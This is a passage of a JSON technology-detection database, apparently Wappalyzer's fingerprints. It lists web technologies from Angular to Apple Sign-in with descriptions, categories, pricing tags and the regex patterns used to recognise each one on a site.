\"^([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"excludes\": [\n      \"AngularDart\",\n      \"AngularJS\"\n    ],\n    \"icon\": \"Angular.svg\",\n    \"implies\": [\n      \"TypeScript\"\n    ],\n    \"js\": {\n      \"ng.coreTokens\": \"\",\n      \"ng.probe\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://angular.io\"\n  },\n  \"Angular Gridster\": {\n    \"cats\": [\n      25,\n      59\n    ],\n    \"description\": \"Gridster is a JavaScript library, with a simple drag-and-drop interface, for creating intuitive, dynamic and customizable layouts in web applications.\",\n    \"icon\": \"Angular.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"angular-gridster(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://tiberiuzuld.github.io/angular-gridster2/\"\n  },\n  \"Angular Material\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Angular Material is a UI component library for Angular JS developers. Angular Material components assist in constructing attractive, consistent, and functional web pages and web applications.\",\n    \"excludes\": [\n      \"Material Design Lite\"\n    ],\n    \"icon\": \"AngularJS.svg\",\n    \"implies\": [\n      \"AngularJS\"\n    ],\n    \"js\": {\n      \"ngMaterial\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/([\\\\d.rc-]+)?/angular-material(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://material.angularjs.org\"\n  },\n  \"AngularDart\": {\n    \"cats\": [\n      18\n    ],\n    \"excludes\": [\n      \"Angular\",\n      \"AngularJS\"\n    ],\n    \"icon\": \"AngularDart.svg\",\n    \"implies\": [\n      \"Dart\"\n    ],\n    \"js\": {\n      \"ngTestabilityRegistries\": \"\"\n    },\n    \"website\": \"https://webdev.dartlang.org/angular/\"\n  },\n  \"AngularJS\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:angularjs:angular.js:*:*:*:*:*:*:*:*\",\n    \"description\": \"AngularJS is a JavaScript-based open-source web application framework led by the Angular Team at Google.\",\n    \"excludes\": [\n      \"Angular\",\n      \"AngularDart\"\n    ],\n    \"html\": [\n      \"<(?:div|html)[^>]+ng-app=\",\n      \"<ng-app\"\n    ],\n    \"icon\": \"AngularJS.svg\",\n    \"js\": {\n      \"angular\": \"\",\n      \"angular.version.full\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"angular[.-]([\\\\d.]*\\\\d)[^/]*\\\\.js\\\\;version:\\\\1\",\n      \"/([\\\\d.]+(?:-?rc[.\\\\d]*)*)/angular(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"(?!angular\\\\.io)\\\\bangular.{0,32}\\\\.js\"\n    ],\n    \"website\": \"https://angularjs.org\"\n  },\n  \"Anima\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Anima is an AI-powered tool designed to assist users in converting their designs into functional code, creating interactive prototypes, and streamlining the automation of design systems.\",\n    \"icon\": \"Anima.svg\",\n    \"js\": {\n      \"__ANIMA_PROJECT_DATA__\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.animaapp.com/\"\n  },\n  \"Animate It\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Animate It! adds CSS3 animations to your content.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/animate-it/']\"\n    ],\n    \"icon\": \"Animate It.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"animate-it(?:\\\\/assets)?(?:\\\\/js)?(?:\\\\/animo)?(?:\\\\/edsanimate)?(?:\\\\/jquery)?(?:\\\\/viewportchecker)?(?:\\\\.ba-throttle-debounce)?(?:\\\\.min)?(?:\\\\.site)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/animate-it/\"\n  },\n  \"Animate.css\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Animate.css is a ready-to-use library collection of CSS3 animation effects.\",\n    \"dom\": {\n      \".animate__animated\": {\n        \"attributes\": {\n          \"class\": \"\\\\;confidence:99\"\n        }\n      },\n      \"link[href*='animate']\": {\n        \"attributes\": {\n          \"href\": \"([\\\\d\\\\.]+)?/animate\\\\.min\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Animate.css.svg\",\n    \"oss\": true,\n    \"website\": \"https://animate.style\"\n  },\n  \"Aniview Ad Server\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Aniview Ad Server is a technology developed by Aniview, a company that specialises in providing video advertising solutions. The Aniview Ad Server is a platform designed to manage and serve video ads to publishers, advertisers, and agencies.\",\n    \"dom\": {\n      \"link[href*='aniview.com']\": {\n        \"attributes\": {\n          \"href\": \"^(?!.*player).*aniview\\\\.com/\"\n        }\n      }\n    },\n    \"icon\": \"Aniview.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^(?!.*player).*aniview\\\\.com/\"\n    ],\n    \"website\": \"https://aniview.com/video-ad-servers/\"\n  },\n  \"Aniview Video Ad Player\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Aniview Video Ad Player is a video player technology developed by Aniview, a company that specialises in providing video advertising solutions.\",\n    \"dom\": [\n      \"link[href*='player.aniview.com']\"\n    ],\n    \"icon\": \"Aniview.svg\",\n    \"implies\": [\n      \"Aniview Ad Server\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"player\\\\.aniview\\\\.com/script/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://aniview.com/video-ad-player/\"\n  },\n  \"AnnounceKit\": {\n    \"cats\": [\n      49\n    ],\n    \"description\": \"AnnounceKit is a platform facilitating announcements for product updates and company news.\",\n    \"icon\": \"AnnounceKit.svg\",\n    \"js\": {\n      \"announcekit\": \"\",\n      \"announcekit_feed\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.announcekit\\\\.app/\"\n    ],\n    \"website\": \"https://announcekit.app\"\n  },\n  \"AnswerDash\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"AnswerDash is a question and answer platform that serves business customers thereby reducing support costs and revealing customer needs.\",\n    \"icon\": \"AnswerDash.svg\",\n    \"js\": {\n      \"AnswerDash\": \"\",\n      \"AnswerDash.__plugin\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.answerdash\\\\.com/\"\n    ],\n    \"website\": \"https://www.answerdash.com\"\n  },\n  \"Answerbase\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Answerbase is a management platform for customer support and ecommerce, allowing users to ask questions, receive answers, and browse content and articles to meet their demand for information about products and services.\",\n    \"icon\": \"Answerbase.svg\",\n    \"js\": {\n      \"loadAnswerbaseCTAWidget\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://answerbase.com\"\n  },\n  \"Ant Design\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Ant Design is a UI library that can be used with data flow solutions and application frameworks in any React ecosystem.\",\n    \"dom\": {\n      \"link[href*='antd']\": {\n        \"attributes\": {\n          \"href\": \"antd(?:@|/)?([\\\\d\\\\.]+)?(?:.+|)?\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"html\": [\n      \"<[^>]*class=\\\"ant-(?:btn|col|row|layout|breadcrumb|menu|pagination|steps|select|cascader|checkbox|calendar|form|input-number|input|mention|rate|radio|slider|switch|tree-select|time-picker|transfer|upload|avatar|badge|card|carousel|collapse|list|popover|tooltip|table|tabs|tag|timeline|tree|alert|modal|message|notification|progress|popconfirm|spin|anchor|back-top|divider|drawer)\",\n      \"<i class=\\\"anticon anticon-\"\n    ],\n    \"icon\": \"Ant Design.svg\",\n    \"js\": {\n      \"antd.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://ant.design\"\n  },\n  \"AntV G2\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"AntV G2 is a highly interactive data-driven visualisation grammar for statistical charts.\",\n    \"dom\": [\n      \"div.g2-tooltip\"\n    ],\n    \"icon\": \"AntV.svg\",\n    \"js\": {\n      \"G2.Chart\": \"\",\n      \"G2.VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://g2plot.antv.vision\"\n  },\n  \"AntV G6\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"AntV G6 is a graph visualisation framework in JavaScript.\",\n    \"icon\": \"AntV.svg\",\n    \"js\": {\n      \"g6.Graph\": \"\",\n      \"g6.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://g6.antv.vision\"\n  },\n  \"Antee IPO\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Antee is a Czech company that will make a custom-made website for you, then you manage it in CMS IPO.\",\n    \"icon\": \"Antee.svg\",\n    \"js\": {\n      \"ipo.api.hideSpinner\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"Antee\\\\ss\\\\.r\\\\.o\\\\.\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://ipo.antee.cz\"\n  },\n  \"Anthology Encompass\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Anthology Encompass is a constituent engagement management provider or educational institutions that provides modules to help you manage events, websites and content, data, and more.\",\n    \"dom\": [\n      \"a[href*='.imodules.com/s/']\"\n    ],\n    \"icon\": \"Anthology.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"https.+\\\\.imodules\\\\.com/s/\"\n    ],\n    \"website\": \"https://www.anthology.com/products/lifecycle-engagement/alumni-and-advancement/anthology-encompass\"\n  },\n  \"AntiBot.Cloud\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"AntiBot.Cloud is a PHP script and cloud service to protect websites from bots and junk traffic.\",\n    \"meta\": {\n      \"generator\": \"AntiBot\\\\.Cloud\\\\sv\\\\.\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/antibot8/static/peel\\\\.js\"\n    ],\n    \"website\": \"https://antibot.cloud\"\n  },\n  \"Antsomi CDP 365\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Antsomi CDP 365 is a AI-enabled customer data platform from Southeast Asia.\",\n    \"icon\": \"Antsomi.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cdp\\\\.asia/\"\n    ],\n    \"website\": \"https://www.antsomi.com\"\n  },\n  \"Anura\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Anura is an ad fraud detection solution designed to identify and mitigate fraudulent activity across digital advertising platforms.\",\n    \"icon\": \"Anura.svg\",\n    \"js\": {\n      \"Anura\": \"\",\n      \"_anuraResFun\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"script\\\\.anura\\\\.io/\"\n    ],\n    \"website\": \"https://www.anura.io\"\n  },\n  \"AnyClip\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AnyClip is a video engagement platform that uses an AI-driven content analysis engine to analyze and categorize video content in real-time to create personalised video feeds.\",\n    \"dom\": [\n      \"img[src*='.anyclip.com'], video[poster*='.anyclip.com']\"\n    ],\n    \"icon\": \"AnyClip.svg\",\n    \"js\": {\n      \"anyclip\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.anyclip\\\\.com\"\n    ],\n    \"website\": \"https://www.anyclip.com\"\n  },\n  \"AnythingSlider\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A robust jQuery-based slider plugin.\",\n    \"icon\": \"AnythingSlider.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"anythingslider(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://css-tricks.com/anythingslider-jquery-plugin/\"\n  },\n  \"Apache APISIX\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*\",\n    \"description\": \"Apache APISIX is an open-source, cloud-native API gateway developed by the Apache Software Foundation. It provides a scalable and high-performance solution for managing and securing API traffic.\",\n    \"headers\": {\n      \"X-APISIX-Upstream-Status\": \"\",\n      \"server\": \"^APISIX(?:/([\\\\d\\\\.]+))?$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache APISIX.svg\",\n    \"oss\": true,\n    \"website\": \"https://apisix.apache.org\"\n  },\n  \"Apache HTTP Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"Apache is a free and open-source cross-platform web server software.\",\n    \"headers\": {\n      \"Server\": \"(?:Apache(?:$|/([\\\\d.]+)|[^/-])|(?:^|\\\\b)HTTPD)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache.svg\",\n    \"oss\": true,\n    \"website\": \"https://httpd.apache.org/\"\n  },\n  \"Apache JSPWiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:jspwiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"Apache JSPWiki is an open-source Wiki engine, built around standard JEE components (Java, servlets, JSP).\",\n    \"html\": [\n      \"<html[^>]* xmlns:jspwiki=\"\n    ],\n    \"icon\": \"Apache.svg\",\n    \"implies\": [\n      \"Apache Tomcat\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"jspwiki\"\n    ],\n    \"url\": [\n      \"wiki\\\\.jsp\"\n    ],\n    \"website\": \"https://jspwiki.org\"\n  },\n  \"Apache Tomcat\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*\",\n    \"description\": \"Apache Tomcat is an open-source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and WebSocket technologies.\",\n    \"headers\": {\n      \"Server\": \"^Apache-Coyote\",\n      \"X-Powered-By\": \"\\\\bTomcat\\\\b(?:-([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache Tomcat.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://tomcat.apache.org\"\n  },\n  \"Apache Traffic Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"Apache Traffic Server is an open-source caching and proxying server that serves as an HTTP/1.1 and HTTP/2 reverse proxy with caching capabilities, load balancing, request routing, SSL termination, and support for advanced HTTP features.\",\n    \"headers\": {\n      \"Server\": \"ATS/?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Apache Traffic Server.svg\",\n    \"oss\": true,\n    \"website\": \"https://trafficserver.apache.org/\"\n  },\n  \"Apache Wicket\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*\",\n    \"description\": \"Apache Wicket is an open-source Java web application framework for building scalable and maintainable web applications.\",\n    \"icon\": \"Apache Wicket.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"Wicket\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://wicket.apache.org\"\n  },\n  \"Apereo CAS\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Apereo CAS is an open and well-documented authentication protocol. The primary implementation of the protocol is an open-source Java server component by the same name hosted here, with support for a plethora of additional authentication protocols and features.\",\n    \"dom\": {\n      \"head > title\": {\n        \"text\": \"CAS – (?:Central Authentication Service|Service Central d'Authentification)\"\n      }\n    },\n    \"icon\": \"Apereo.svg\",\n    \"implies\": [\n      \"Java\",\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.apereo.org/projects/cas\"\n  },\n  \"ApexCharts.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"ApexCharts is a modern JavaScript charting library that empowers developers to build interactive data visualizations for commercial and non-commercial projects.\",\n    \"icon\": \"apexcharts.svg\",\n    \"js\": {\n      \"ApexCharts\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://apexcharts.com\"\n  },\n  \"ApexChat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ApexChat is a company that provides businesses with live chat software and services to facilitate real-time customer engagement, support, lead generation, and enhanced online interactions.\",\n    \"icon\": \"ApexChat.svg\",\n    \"js\": {\n      \"ApexChat\": \"\",\n      \"apexchat_dompopup_chatwindow_client\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.apexchat.com\"\n  },\n  \"ApexPages\": {\n    \"cats\": [\n      51\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Salesforce\\\\.com ApexPages\"\n    },\n    \"icon\": \"Salesforce.svg\",\n    \"implies\": [\n      \"Salesforce\"\n    ],\n    \"website\": \"https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_intro.htm\"\n  },\n  \"Aphix\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Aphix is a provider of a fully integrated ecommerce and mobile ordering platform.\",\n    \"dom\": [\n      \"p#aphix-brand-footer > a[href*='.aphixsoftware.com/']\"\n    ],\n    \"icon\": \"Aphix.svg\",\n    \"meta\": {\n      \"generator\": \"^WebShop by Aphix Software$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.aphixsoftware.com\"\n  },\n  \"Apigee\": {\n    \"cats\": [\n      4,\n      19\n    ],\n    \"description\": \"Apigee is an API gateway management tool to exchange data across cloud services and applications\",\n    \"icon\": \"Apigee.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/profiles/apigee\"\n    ],\n    \"website\": \"https://cloud.google.com/apigee/\"\n  },\n  \"Apisearch\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Apisearch is a real-time search platform for ecommerce.\",\n    \"icon\": \"Apisearch.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.apisearch\\\\.cloud\"\n    ],\n    \"website\": \"https://apisearch.io\"\n  },\n  \"Apizee\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Apizee is a platform for easy, real-time, multi-device video interaction services.\",\n    \"icon\": \"Apizee.svg\",\n    \"js\": {\n      \"Apizee\": \"\",\n      \"apizee\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.apizee.com\"\n  },\n  \"Aplazame\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Aplazame is a consumer credit company that provides instant financing service for online purchases. It combines an overtime payment method integrated at the ecommerce checkout with marketing tools to enable ecommerce to use financing as a promotional lever to boost sales.\",\n    \"icon\": \"Aplazame.svg\",\n    \"js\": {\n      \"aplazame\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.aplazame\\\\.com/aplazame\\\\.js\",\n      \"aplazame\\\\.com/static/aplazame\\\\.js\"\n    ],\n    \"website\": \"https://aplazame.com\"\n  },\n  \"Apollo\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Apollo is a fully-featured caching GraphQL client with integrations for React, Angular, and more.\",\n    \"dom\": [\n      \"script#__APOLLO_STATE__\"\n    ],\n    \"icon\": \"Apollo.svg\",\n    \"implies\": [\n      \"GraphQL\",\n      \"TypeScript\\\\;confidence:50\"\n    ],\n    \"js\": {\n      \"__APOLLO_CLIENT__\": \"\",\n      \"__APOLLO_CLIENT__.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"__NEXT_DATA__.props.pageProps.__APOLLO_STATE__\": \"\"\n    },\n    \"website\": \"https://www.apollographql.com\"\n  },\n  \"Apollo13Themes Rife\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Apollo13Themes Rife is a great portfolio and photography WordPress theme with 7 ready-to-use demo layouts.\",\n    \"icon\": \"Apollo13Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/rife(?:-free)?/(?:.+script\\\\.min\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+)))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://apollo13themes.com/rife\"\n  },\n  \"ApostropheCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:apostrophecms:apostrophecms:*:*:*:*:*:*:*:*\",\n    \"description\": \"ApostropheCMS is a powerful website builder platform built on an enterprise open source CMS.\",\n    \"icon\": \"ApostropheCMS.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"APOS_DIALOGS.dialogAttributes\": \"\",\n      \"apos.csrfCookieName\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apostrophecms.com\"\n  },\n  \"AppDynamics\": {\n    \"cats\": [\n      10,\n      78\n    ],\n    \"description\": \"AppDynamics is an application performance management (APM) and IT operations analytics (ITOA) company based in San Francisco.\",\n    \"icon\": \"AppDynamics.svg\",\n    \"js\": {\n      \"ADRUM.conf.agentVer\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"adrum\"\n    ],\n    \"website\": \"https://appdynamics.com\"\n  },\n  \"AppNexus\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"AppNexus is a cloud-based software platform that enables and optimizes programmatic online advertising.\",\n    \"dom\": [\n      \"iframe[src*='.adnxs.com'], img[src*='.adnxs.com'], link[href*='.adnxs.com']\"\n    ],\n    \"icon\": \"AppNexus.svg\",\n    \"js\": {\n      \"appnexus\": \"\",\n      \"appnexusVideo\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"adnxs\\\\.(?:net|com)\"\n    ],\n    \"website\": \"https://appnexus.com\",\n    \"xhr\": [\n      \"prebid\\\\.adnxs\\\\.com\"\n    ]\n  },\n  \"AppSell\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"AppSell is a cross-selling app designed for Wix that helps online stores recommend additional products to customers based on their shopping behavior, potentially increasing sales and improving customer engagement.\",\n    \"icon\": \"AppSell.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"AppSell - Upsell & Cross Sell\"\n    ],\n    \"website\": \"https://appsell.io\"\n  },\n  \"Appcast\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Appcast is a service that allows job advertisements on a 'pay-per-applicant' basis across a network of career and consumer sites, instead of the traditional per-click or per-post charges.\",\n    \"icon\": \"Appcast.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"click\\\\.appcast\\\\.io/\"\n    ],\n    \"website\": \"https://www.appcast.io\"\n  },\n  \"Appcues\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"Appcues is a solution for measuring and improving product adoption.\",\n    \"icon\": \"Appcues.svg\",\n    \"js\": {\n      \"Appcues\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"fast\\\\.appcues\\\\.com\"\n    ],\n    \"website\": \"https://www.appcues.com/\"\n  },\n  \"Appian\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Appian is an enterprise low-code application platform.\",\n    \"icon\": \"Appian.svg\",\n    \"js\": {\n      \"APPIAN\": \"\",\n      \"Appian\": \"\",\n      \"_APPIAN_PROXIES_INITIALIZED\": \"\",\n      \"webpackJsonpAppian\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tempo/ui/sail-client/embeddedBootstrap\\\\.nocache\\\\.js\"\n    ],\n    \"website\": \"https://www.appian.com\"\n  },\n  \"Appier\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Appier is a platform that helps clients optimize advertising ROI.\",\n    \"dom\": [\n      \"link[href*='.appier.net'][rel='dns-prefetch']\"\n    ],\n    \"icon\": \"Appier.svg\",\n    \"js\": {\n      \"APPIER_LOG\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.appier\\\\.net\"\n    ],\n    \"website\": \"https://www.appier.com\"\n  },\n  \"Appifiny\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Appifiny is a platform that provides a streamlined solution for developing, customizing, and launching apps.\",\n    \"icon\": \"Appifiny.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"recently\\\\.appifiny\\\\.io/\"\n    ],\n    \"website\": \"https://www.appifiny.co.uk\"\n  },\n  \"Appjustable\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Appjustable is a platform offering Weebly app solutions for creating websites, enabling users to design and manage their online presence through customizable tools and features tailored to individual or business needs.\",\n    \"icon\": \"Appjustable.svg\",\n    \"requires\": [\n      \"Weebly\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//appjustable\\\\.com/\"\n    ],\n    \"website\": \"https://appjustable.com\"\n  },\n  \"Apple Business Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Apple Business Chat is a service from Apple that allows your organization to directly chat with your customers using the Messages app.\",\n    \"dom\": [\n      \"a[href*='bcrw.apple.com/business/api']\"\n    ],\n    \"icon\": \"Apple.svg\",\n    \"js\": {\n      \"appleBusinessChat.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/apple_business_chat_commerce/.+/apple_message_button_v([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://developer.apple.com/documentation/businesschat\"\n  },\n  \"Apple MapKit JS\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Apple MapKit JS lets you embed interactive maps directly into your websites across platforms and operating systems, including iOS and Android.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.apple-mapkit\\\\.com\"\n    },\n    \"icon\": \"Apple.svg\",\n    \"js\": {\n      \"mapkit._tileProvider\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"//cdn\\\\.apple-mapkit\\\\.com/mk/([\\\\d\\\\.\\\\w]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://developer.apple.com/maps/web/\"\n  },\n  \"Apple Pay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Apple Pay is a mobile payment and digital wallet service by Apple that allows users to make payments in person, in iOS apps, and on the web.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-apple_pay']\",\n      \"script#apple-pay\",\n      \"script#apple-pay-shop-capabilities\",\n      \"input#applePayMerchantId\"\n    ],\n    \"icon\": \"Apple.svg\",\n    \"js\": {\n      \"ApplePay\": \"\",\n      \"applePayButtonClicked\": \"\",\n      \"braintree.applePay\": \"\",\n      \"checkout.enabledpayments.applepay\": \"^true$\",\n      \"dw.applepay\": \"\",\n      \"enableApplePay\": \"\"\n    },\n    \"website\": \"https://www.apple.com/apple-pay\"\n  },\n  \"Apple Sign-in\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Apple Sign-in is based on OAuth 2.0 and OpenID Connect, and provides a privacy-friendly way for users to sign in to websites and apps.\",\n    \"dom\": {\n      \"a[href*='appleid.apple.com/auth/authorize']\": {\n        \"exists\": \"\"\n      },\n      \"button\": {\n        \"text\": \"(Sign (in|up)|Log in|Continue) with Apple\"\n      }\n    },\n    \"icon\": \"Apple.svg\",\n    \"js\": {\n      \"AppleID\": \"\"\n    },\n    \"meta\": {\n      \"appleid-signin-client-id\": \"\"\n    },\n    \"scriptSrc\": [\n      \"appleid\\\\.auth\\\\.js\"\n    ],\n    \"website\": \"https://developer.apple.com/sign-in-with-apple/\"\n  },\n  \"Apple iCloud Mail\": {\n    \"cats\": [\n      30\n    ],\n    \"description\": 